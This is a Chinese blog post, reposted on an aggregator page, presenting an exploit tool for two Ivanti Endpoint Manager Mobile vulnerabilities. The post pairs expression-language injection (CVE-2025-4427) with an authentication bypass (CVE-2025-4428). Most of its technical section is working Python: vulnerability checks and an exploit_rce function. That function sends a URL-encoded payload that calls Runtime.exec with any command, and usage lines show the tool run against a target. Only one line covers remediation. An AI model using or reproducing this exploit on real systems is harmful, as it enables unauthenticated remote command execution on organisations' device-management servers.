Ivanti EPM移动版12.5.0.0身份验证绕过漏洞分析与利用

news/2025/10/9 19:21:52/文章来源:https://www.cnblogs.com/qife122/p/19131803

Ivanti Endpoint Manager Mobile 12.5.0.0 - 身份验证绕过漏洞分析

漏洞概述

Ivanti Endpoint Manager Mobile(EPM Mobile)12.5.0.0版本存在严重安全漏洞:

  • CVE-2025-4427: 表达式语言注入漏洞,存在于featureusage API端点,允许远程代码执行
  • CVE-2025-4428: 管理端点的身份验证绕过漏洞

攻击者可以组合利用这两个漏洞,实现未经身份验证的远程代码执行。

技术细节

漏洞检测

CVE-2025-4427检测

def detect_cve_2025_4427(self):"""快速检测CVE-2025-4427"""# 简单的数学运算payload用于检测payload = '%24%7b%32%2b%32%7d'  # ${2+2}url = f"{self.target}mifs/rs/api/v2/featureusage?format={payload}"try:resp = self.session.get(url, timeout=10)if resp.status_code == 400 and ('4' in resp.text or 'Process[pid' in resp.text):return True, "CVE-2025-4427 存在漏洞 - 表达式语言注入"except:passreturn False, "CVE-2025-4427 不存在漏洞"

CVE-2025-4428检测

def detect_cve_2025_4428(self):"""快速检测CVE-2025-4428"""admin_endpoints = ['/mifs/rs/api/v2/admin', '/admin', '/api/admin']for endpoint in admin_endpoints:try:url = urljoin(self.target, endpoint)resp = self.session.get(url, timeout=10)if resp.status_code == 200:return True, f"CVE-2025-4428 存在漏洞 - 在 {endpoint} 端点存在身份验证绕过"except:continuereturn False, "CVE-2025-4428 不存在漏洞"

远程代码执行利用

def exploit_rce(self, command='id'):"""通过CVE-2025-4427执行命令"""# URL编码命令cmd_hex = command.encode().hex()cmd_encoded = ''.join(f'%{cmd_hex[i:i+2]}' for i in range(0, len(cmd_hex), 2))# RCE payloadpayload = f'%24%7b%22%22%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%27%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%27%29%2e%67%65%74%4d%65%74%68%6f%64%28%27%67%65%74%52%75%6e%74%69%6d%65%27%29%2e%69%6e%76%6f%6b%65%28%6e%75%6c%6c%29%2e%65%78%65%63%28%27{cmd_encoded}%27%29%7d'url = f"{self.target}mifs/rs/api/v2/featureusage?format={payload}"try:resp = self.session.get(url, timeout=15)if resp.status_code == 400 and 'Process[pid' in resp.text:return True, f"RCE 成功: {resp.text[:200]}"except:passreturn False, "RCE 失败"

利用要求

  • Python 3.x
  • requests >= 2.25.1
  • urllib3

使用方法

# 检测目标漏洞
python3 CVE-2025-4427.py -t https://target-ivanti-epm.com# 利用漏洞执行命令
python3 CVE-2025-4427.py -t https://target-ivanti-epm.com --exploit -c "whoami"

受影响版本

  • Ivanti Endpoint Manager Mobile 12.5.0.0
  • 2025.1之前的版本

解决方案

建议升级到Ivanti Endpoint Manager Mobile 2025.1或更高版本,以修复这些安全漏洞。

技术架构

该漏洞利用工具采用面向对象设计,包含以下主要组件:

  1. IvantiExploit类: 主漏洞利用类
  2. 检测模块: 分别检测两个CVE漏洞
  3. 利用模块: 实现远程代码执行功能
  4. 命令行接口: 提供用户交互界面

工具通过发送特制的HTTP请求到目标系统的API端点,利用表达式语言注入和身份验证绕过漏洞,最终实现在目标系统上执行任意命令。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/933801.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

自动评估问答模型的技术突破

本文介绍了一种名为AVA的自动问答模型评估方法,采用创新的peer attention机制,在NAACL会议上展示。该方法相比人工评估错误率仅为7%,包含线性模型和基于Transformer的神经网络模型,使用包含200万训练样本的数据集。…

task8.c

task8.cinclude<stdio.h> include<math.h> int main() { double s, a, b, c, area; while (scanf_s("%lf%lf%lf", &a, &b, &c) != EOF) { s = (a + b + c) / 2; area = sqrt(s * (s…

运行Udacity的MPC控制项目指南(project_10)在Ubuntu 18.04环境下

系统更新与工具安装更新系统包列表:打开终端并运行以下命令以确保所有软件包都是最新的。 sudo apt update sudo apt upgrade安装构建工具:安装编译器和构建依赖项。 sudo apt install build-essential cmake git li…

深入解析:Java 将 PDF 转换为 PDF/A:数字文档归档的基石

深入解析:Java 将 PDF 转换为 PDF/A:数字文档归档的基石pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consola…

入门正当时!MQTT协议轻量简洁,但应用绝不简单

MQTT凭借低带宽、低功耗的优势成为物联网通信的基石。尽管协议本身简洁,但其在真实项目中的部署与优化却充满挑战。本教程助你从基础迈向实战。 MQTT——全称Message Queuing Telemetry Transport消息队列遥测传输协议…

MFC中开源布局库---ResizableLib - 教程

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

英语阅读

桥梁书: https://zhuanlan.zhihu.com/p/1919350330669397464

JetBrains 官宣 DataGrip 数据库 IDE 现可免费用于非商业用途,适用于 2025.2.4 或更新版本

JetBrains 官宣 DataGrip 数据库 IDE 现可免费用于非商业用途,适用于 2025.2.4 或更新版本JetBrains 官宣 DataGrip 数据库 IDE 现可免费用于非商业用途,适用于 2025.2.4 或更新版本2025/10/3 22:37:36 来源:IT之家…

CF1832D2 Red-Blue Operations (Hard Version) 模拟赛题目分析

CF1832D2 Red-Blue Operations (Hard Version) 题目概述 给你 \(\{a_n\}\),第 \(i\) 次操作,如果是你第奇数次操作当前位置则令它 \(+i\) 否则 \(-i\)。 给出 \(q\) 个询问,问你进行完 \(k\) 个操作之后 \(a\) 中的…

PostgreSQL pg_auto_failover 高可用 1:pg_auto_failover集群搭建

PostgreSQL pg_auto_failover 高可用 1:pg_auto_failover集群搭建 0,pg_auto_failover架构 开始之前,先看一下pg_auto_failover的一个最基础架构原理如下,需要弄清楚几个节点的作用 1,monitor节点纯粹是一个监控…

详细介绍:cpolar让Nastool影音库随身而行,随时随地享受视听自由

详细介绍:cpolar让Nastool影音库随身而行,随时随地享受视听自由pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "…

网络流最小割,无向图建图法,求最小割点转换求最小割边

洛谷P1345 假设原来的点编号为i,总共有n个点,那么我们就把每个点拆成两个点,编号分别为i和i+n。其中点i负责连接原图中连入这个点的边,点i+n负责连原图中连出这个点的边。 add ( i, i+n, 1 ) ; add ( i+n, i, 0 )…

2025/10/9

2025/10/9学习算法 学习数据结构 写题

看论文随笔Incendio: Priority-Based Scheduling for Alleviating Cold Start in Serverless Computing

基于优先级的无服务器计算冷启动调度 首先摘要: 说明,在无服务器中,冷启动会导致较长的响应延迟。 解决方法是通过减少冷启动的次数来缓解。 然而,现实中,最小冷启动次数并不等于最小响应延迟,根本原因是通过冷启…

深度学习概述 - -一叶知秋

深度学习概述复杂模型 S曲线S曲线改变参数加入更多的Features 例子 1、搭建模型 括号里的作用就是得出 r蚂蚁线内的作用是将 r 通过sigmoid函数,得出 a一个简单的写法最后都乘以 c 加到一起在加 b 得出 y线性代数表示…

C++新语法学习笔记(更新我不会写的新语法)

C++新语法学习笔记(更新我不会写的新语法)顺序填充数组:iota,在头文件numeric中 iota(.begin(), .end(), 参数);//从参数开始填充:参数,参数+1

烧录神器来了!量产工具使用教程,新手也能秒懂

想提升烧录效率?这个量产烧录工具简直是神器!下面为你带来详细上手教程,零基础也能快速掌握,实用干货,免费分享! 本文以Air780EPM开发板为例,演示量产烧录工具的使用步骤。 最新量产烧录工具使用指南详见: htt…

深入解析:C++基础(21)——内存管理

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

C#性能优化基础:内存诊断(dump)

接上一篇:C#性能优化基础:垃圾回收机制本文说下怎么去查找内存问题,举个例子,我们有这样的一段程序:namespace ConsoleApp1{internal class Program{static List<Demo> Demos { get; } = new List<Demo&…

2025年企业级LLM内容安全防护指南:鉴冰AI FENCE流式网关技术深度解析

2025年企业级LLM内容安全防护指南:鉴冰AI FENCE流式网关技术深度解析随着生成式AI在企业关键业务中的深度应用,LLM输出违规内容防护已从技术选项升级为合规刚需。AI-FOCUS团队推出的鉴冰AI FENCE(AI安全围栏)采用流…